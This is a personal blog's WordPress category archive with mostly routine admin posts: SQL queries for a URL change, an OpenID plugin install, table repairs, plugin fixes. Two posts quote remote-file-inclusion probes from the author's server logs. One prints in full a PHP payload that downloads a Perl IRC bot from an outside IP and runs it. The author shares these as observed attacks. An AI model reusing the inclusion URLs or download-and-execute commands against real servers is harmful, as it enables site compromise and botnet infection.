Category Archives: WordPress

stuff regarding WordPress

wordtube?

Current Mood:Confused emoticon Confused

I saw something interesting in my apache log.

blog.px.ns1.net 72.36.146.234 server.webbyte.com - - [06/May/2007:18:51:22 -0700] "GET /wp-content/plugins/wordtube/wordtube-button.php?wpPATH=http://www.pikspiller.dk/stats/format/status.txt? HTTP/1.1" 200 962 "-" "libwww-perl/5.805" mod_deflate: In:- Out:-:-pct.

the file status.txt isn’t malicious, just an echo.

< ? echo "1122548"; ?>


UPDATE
it happened again. with a different host/file this time. Time to toss this plugin??

blog.px.ns1.net 85.119.156.52 power-network.org - - [07/May/2007:23:34:28 -0700] "GET //wp-content/plugins/wordtube/wordtube-button.php?wpPATH=http://sanwall.info/echo.txt? HTTP/1.1" 200 922 "-" "libwww-perl/5.803" mod_deflate: In:- Out:-:-pct.

UPDATE2
yeah, there just found an advisory to update to a newer version.

wordpress url change mysql code

I changed the url of my blog again recently here is some helpful mysql code to renaming a wordpress blog url. YMMV. You’ll need to find all the other fields which containd the old information. I’d like this to be a plugin, it’s more or less a set of simple database commands, but for now cut and paste code will work ok.

 
UPDATE `wp_postmeta` SET `meta_value` = REPLACE(`meta_value`,'blog.blog.px.ns1.net','blog.px.ns1.net');# MySQL returned an empty result set (i.e. zero rows).
 
UPDATE `wp_comments` SET `comment_author_url` = REPLACE(`comment_author_url`,'blog.blog.px.ns1.net','blog.px.ns1.net');# MySQL returned an empty result set (i.e. zero rows).
 
UPDATE `wp_options` SET `option_value` = REPLACE(`option_value`,'blog.blog.px.ns1.net','blog.px.ns1.net');# MySQL returned an empty result set (i.e. zero rows).
 
UPDATE `wp_posts` SET `post_content` = REPLACE(`post_content`,'https://px.ns1.net','http://blog.px.ns1.net:81');
 
UPDATE `wp_posts` SET `post_content` = REPLACE(`post_content`,'http://px.ns1.net:81','http://blog.px.ns1.net:81');
UPDATE `wp_posts` SET `post_content` = REPLACE(`post_content`,'/wordpress','/');
UPDATE `wp_posts` SET `post_content` = REPLACE(`post_content`,':81//',':81/');
UPDATE `wp_xspf_player` SET `url` = REPLACE(`url`,'https://px.ns1.net','http://blog.px.ns1.net:81');
 
UPDATE `wp_posts` SET `guid` = REPLACE(`guid`,'https://px.ns1.net/','http://blog.px.ns1.net:81/');
 
UPDATE `wp_posts` SET `guid` = REPLACE(`guid`,'http://px.ns1.net:81/','http://blog.px.ns1.net:81/');
 
UPDATE `wp_posts` SET `guid` = REPLACE(`guid`,'/wordpress/wordpress/','/');
UPDATE `wp_posts` SET `post_content` = REPLACE(`post_content`,"[php]","<pre lang=\"php\">");
 
 UPDATE `wp_posts` SET `post_content` = REPLACE(`post_content`,"[/php]","</pre>");

update:

UPDATE `wp_posts` SET `post_content` = REPLACE(`post_content`,'/wordpress/wordpress/','/');
UPDATE `wp_posts` SET `post_content` = REPLACE(`post_content`,'/wordpress/','/');
UPDATE `wp_posts` SET `post_content` = REPLACE(`post_content`,'http://px.ns1.net:81/','http://blog.px.ns1.net/');
UPDATE `wp_posts` SET `post_content` = REPLACE(`post_content`,'http://blog.px.ns1.net:81/','http://blog.px.ns1.net/');
UPDATE `wp_posts` SET `pinged` = REPLACE(`pinged`,'ns1.net/wordpress/','ns1.net/');
UPDATE `wp_posts` SET `pinged` = REPLACE(`pinged`,'http://px.ns1.net:81/','http://blog.px.ns1.net/');
UPDATE `wp_posts` SET `pinged` = REPLACE(`pinged`,'/wordpress/wordpress/','/');
 
UPDATE `wp_posts` SET `guid` = REPLACE(`guid`,'http://blog.px.ns1.net:81/','http://blog.px.ns1.net/');
 
UPDATE `wp_postmeta` SET `meta_value` = REPLACE(`meta_value`,'http://px.ns1.net:81/','http://blog.px.ns1.net/');
UPDATE `wp_postmeta` SET `meta_value` = REPLACE(`meta_value`,'http://blog.px.ns1.net:81//','http://blog.px.ns1.net/');
UPDATE `wp_postmeta` SET `meta_value` = REPLACE(`meta_value`,'http://blog.px.ns1.net:81/','http://blog.px.ns1.net/');
UPDATE `wp_postmeta` SET `meta_value` = REPLACE(`meta_value`,'/wordpress','/');
 
UPDATE `wp_options` SET `option_value` = REPLACE(`option_value`,':81','');

Quickie Howto install the OpenID Wordpress plugin.

My friend Dan Spisak was having issues with getting his wpopenid plugin to work. I had previously mentioned to him the method which I had gotten mine installed to him, but I think I forgot a step or something, after getting the latest SVN version. I had gotten OpenID support working on here already, but ended up breaking my installation again recently. So I decided to write it out here.

DISCLAIMER: Here is the basic method I used. This is the installation method which worked for me, but may not work for you. The code below, will likely not work without modifications.

Download and unpack this to a tmp folder. It’s a tarball which contains wpopenid revison 86, and required libraries.

 
cd /tmp
 
wget http://sourceforge.net/project/showfiles.php?group_id=167532&package_id=190501&release_id=471609
 
tar -zxvpf wpopenid.86.tgz
 
# cd to where your wordpress installation lives.
 
cd /var/www/yourhost/htdocs//
 
cd /wp-content/plugins
 
# the latest revision as of today is Rev 95
 
svn co https://wpopenid.svn.sourceforge.net/svnroot/wpopenid/trunk wpopenid
 
# After unpacking the tarball, move the two directories listed
 
# Auth, Services to the wpopenid plugin folder
 
# these are the version 1.2.1 JanRain OpenID libraries.
 
mv /tmp/wpopenid/Auth /tmp/wpopenid/Services /wp-content/plugins/wpopenid
 
# below is the files and directories which you should now have.
 
cd /wp-content/plugins
 
ls -a
.   .svn  README    Tests     images                   todo                wpdb-pear-wrapper.php
..  Auth  Services  flow.png  openid-registration.php  user-interface.php  wpmuopenid.php

Then all you need to do is goto your dashboard, -> plugins, and activate wpopenid. You may need to refer to the README file in order to get the plugin to work with your theme, or to customize.

There is one more thing which needs to possibly be adjusted, you will need to check your error logs for something similar to the following.

 
[Sat Mar 10 17:08:52 2007] [error] [client 207.46.98.139] -------------------wpopenid-------------------
[Sat Mar 10 17:08:52 2007] [error] [client 207.46.98.139] WPOpenID Status: file:error_log [info]: PHP error_log is not set.

So unless your are debugging you will need to modify wpmuopenid.php and openid-registration.php to include…

 
define ( 'WORDPRESSOPENIDREGISTRATION_DEBUG', false );

Updating to the latest revision of the wpopenid is quite simple when using subversion.

 
cd /wp-content/plugins/wpopenid
 
svn update

You may eventually have to update the JanRain PHP OpenID libraries also, which isn’t the case as of this writing.

links:

http://sourceforge.net/project/showfiles.php?group_id=167532&package_id=190501&release_id=471609

http://www.openidenabled.com/openid/libraries/php/

ugh, wordpress broke.

OK, well something broke after my Twas the Night Before Christmas post..

WordPress database error: [You have an error IN your SQL syntax; CHECK the manual that corresponds to your MySQL server version for the RIGHT syntax to USE near 'AND post_status = 'publish' AND DATE_SUB(CURDATE(),INTERVAL 90 DAY) < ' at line 9]
SELECT ID, ( (5 * (MATCH (`post_title`) AGAINST ('pain' IN BOOLEAN MODE))) + (3 * (MATCH (`post_excerpt`) AGAINST ('pain' IN BOOLEAN MODE))) + (1 * (MATCH (`post_content`) AGAINST ('pain' IN BOOLEAN MODE))) ) AS `relevance` FROM `wp_posts` WHERE ( MATCH (`post_title`, `post_excerpt`, `post_content`) AGAINST ('pain' IN BOOLEAN MODE)) AND ID != AND post_status = 'publish' AND DATE_SUB(CURDATE(),INTERVAL 90 DAY) <= post_modified HAVING `relevance` >= 5 ORDER BY `relevance` DESC LIMIT 1

[update]
OK the aLinks wordpress plugin was the culprit. It kept catching the keyphrase ‘pain’ for some reason, and decided it did not like it.

it’s broken

my blog is somewhat broken at the moment.

several of the images being called are being blocked by adblock so I had to add my site to the whitelist.
most of the html is not validating.
mod_rewrite is being weird, so most of the pretty urls are screwed up
//feed/ works on the non-ssl enabled version.

*sigh*

Sociable

So a few weeks ago
I had seen other blogs in my readings, which contained strikingly similar bits after each post.
“Bookmark this story with”
Below that they had links to the linking and tagging sites, such as del.icio.us and digg.com.

After some thinking I decided I wanted something like this for my Wordpress blog feed, and I did some easy modifications by hand to my RSS feed template which provided similar results.

Then again today in my reading I see those same linky things on another blog, and I think to myself, I need to find this plugin or whatever.

Doing a search on Google, for;
Wordpress “bookmark this story with” plugin

Really didn’t lead me to the prize yet. Apparently blogs use this great plugin, so there are plenty of results. 250.

I went to one of the sites on the list, and proceeded to view the html source of the site, to see if there was any other identifiable material on this possible plugin. In the source was a div class named sociable. Ah HA!. Plugged this into the codex search, and viola! The 2nd entry yielded good results.

Sociable, the latest version at the moment is 1.2 released 2006.03.26

Of course after I installed the plugin, I noticed you can change the text above the image links, and of course it wasn’t the same text I had searched for. Searching for ‘wordpress “Share and Enjoy:” plugin‘ had way more results, about 102,000, and also in the #3 position was the homepage for the plugin I was searching for.

Hopefully this post will help others find the wordpress plugin I tried so hard to find.

[update] Also of note is the original author’s wordpress plugin page.

hilter in wordpress

took the plugin from here

updated to latest GeSHi

went back and fixed up previous posts, and now adding scripts or code to posts, or text will be nice.

# adds an options page to the options menu
function SUP_add_options_page()
{
if(function_exists("add_options_page"))
add_options_page("Smart Update Pinger", "Smart Update Pinger", 5, basename(__FILE__), "SUP_show_options_page");
}
1
2
3
4
5
6
# adds an options page to the options menu
function SUP_add_options_page()
{
if(function_exists("add_options_page"))
add_options_page("Smart Update Pinger", "Smart Update Pinger", 5, basename(__FILE__), "SUP_show_options_page");
}

above code used for example from Smart Update Pinger wordpress plugin.

my stuff (rulez!)

Hurray!
Right now I’m sitting in the living room with a wall of my stuff which lived in California for the last two years without me.  It feels good to be reunited with my nice huge cal-king bed, and other missed material possessions.  Now that I have my bed again hopefully I’ll sleep better, when I am able to sleep.
  The storage unit my dad and I procured here, is waaaay ( few more a’s) to big for all that I need to store, which is good, because, well my dad has plenty of crap to store, some which has just been living in the garage since he moved in.

Interestingly; Fox bought MySpace and later stole bones’ URL, for fox’s crappy TV show of the same name.
Who owns the URL?  Well it would appear that the original band does since MySpace gave it back.

Fox better not come up with a show called PX.  MySpace is shitty now, with spam artists and fake profiles I wonder when their bubble will burst. GigaOm has some numbers.

Arizona Preliminary Election Results, from yesterday’s elections.
http://www.azsos.gov/election/2006/General/2006_General_results_query.htm

Today it seems Rumsfeld has done something good.  Maybe finally retire at 74?

Something cool just came to my mind, I’m thinking of a WordPress plug in which displays tag selected or all images around the date of the post(s) which are being viewed.  I was just taking some pictures of my stuff now that it is here, just because it’s good to take pictures of your stuff for insurance purposes.

The spell checker is pretty useful in Firefox 2.0, just wish it was easier to add new words with mixed capitalization.

someone being bad

I noticed someone/thing trying to do something nasty to my wordpress install. Good thing nothing happened.

px.ns1.net 217.9.84.137 - - [07/Sep/2006:19:25:33 -0700] "GET //tags/tags.php?BBCodeFile=http://208.10.22.70/spread.txt? HTTP/1.1" 404 37655 "-" "libwww-perl/5.79" -/- (-%) VLOG=-

The payload of the file is.

< ?
passthru('cd /tmp;wget http://208.10.22.70/images/shbb.txt;perl shbb.txt;rm -f shbb.txt*');
passthru('cd /tmp;curl -O http://208.10.22.70/images/shbb.txt;perl shbb.txt;rm -f shbb.txt*');
passthru('cd /tmp;lwp-download http://208.10.22.70/images/shbb.txt;perl shbb.txt;rm -f shbb.txt*');
passthru('cd /tmp;lynx -source http://208.10.22.70/images/shbb.txt > shbb.txt ;perl shbb.txt;rm -f shbb.txt*');
passthru('cd /tmp;fetch http://208.10.22.70/images/shbb.txt > shbb.txt ;perl shbb.txt ;rm -f shbb.txt*');
passthru('cd /tmp;GET http://208.10.22.70/images/shbb.txt > shbb.txt ;perl shbb.txt ;rm -f shbb.txt*');
? >

The file this script is attempting to retrieve; shbb.txt is a perl script, which runs an IRC bot that connects to an IRC server in brazil.

quick fixes for my mysql databases.

It’s the summer, and durring the summer heat servers tend to act more like unstable demons than they should.

My machine has been randomly rebooting, hard locking, and all around pain in the ass the past week or two.

Everytime it does this my mysql databases seem to get funky, and the easiest sign to this is when I view this blog.

Ultimate Tag Warrior tells me there is some kind of error in the wp_postmeta table.

The easy fix for this is to cruise over to my phpmyadmin on the server and run a simple repair table operation on all of my wordpress tables. note: you may or may not have all the same tables I do in my wordpress database.

REPAIR TABLE `wp_categories` , `wp_comments` , `wp_dl` , `wp_dlmap` , `wp_downloads` , `wp_falbum_cache` , `wp_kiwi` , `wp_linkcategories` , `wp_links` , `wp_openid_associations` , `wp_openid_assoc_handles` , `wp_openid_trust` , `wp_options` , `wp_post2cat` , `wp_post2tag` , `wp_postmeta` , `wp_posts` , `wp_tags` , `wp_tag_synonyms` , `wp_usermeta` , `wp_users` , `wp_xspf_player` , `wp_xspf_player_categories` , `wp_xspf_player_tracks_categories` ;

After running your query you have the choice to make this command a bookmark for easier access to it later. I think it’s a good idea to keep the query as I know I’ll likely have to run it a few more times before it cools off again.
Another issue with these broken tables is snort will not be able to log to it’s database too. It will try and report this to your syslog if running. Your errors may vary, but generally I’ve noticed anytime snort compains about database, then it just wants some love.

Aug 11 05:25:07 mywhiz snort[11349]: database: mysql_error: MySQL server has gone away SQL=INSERT INTO reference_system (ref_system_name) VALUES ('cve')
Aug 11 05:25:07 mywhiz snort[11349]: database: mysql_error: MySQL server has gone away
Aug 11 05:25:07 mywhiz snort[11349]: database: Unable to insert unknown reference tag ('2002-0012') used in rule.

Again going to phpmyadmin and selecting all of snorts tables and choosing the repair operation saves things.

REPAIR TABLE `acid_ag` , `acid_ag_alert` , `acid_event` , `acid_ip_cache` , `base_roles` , `base_users` , `data` , `detail` , `encoding` , `event` , `icmphdr` , `iphdr` , `opt` , `reference` , `reference_system` , `schema` , `sensor` , `signature` , `sig_class` , `sig_reference` , `tcphdr` , `udphdr`;

stupidity

i think i just figured out why my tags have been screwed up. having ultimate tag warrior, and jeromes keywords, activated at the same time is bad. it was so bad, that I couldn’t tell really why, but it was odd, that some tags/keywords worked, but only the ones which was a keyword and also a tag. ohwell live and learn.
I also need to figure out why the feeds are not working for tag urls.

Bad Behavior has blocked 1490 access attempts in the last 7 days.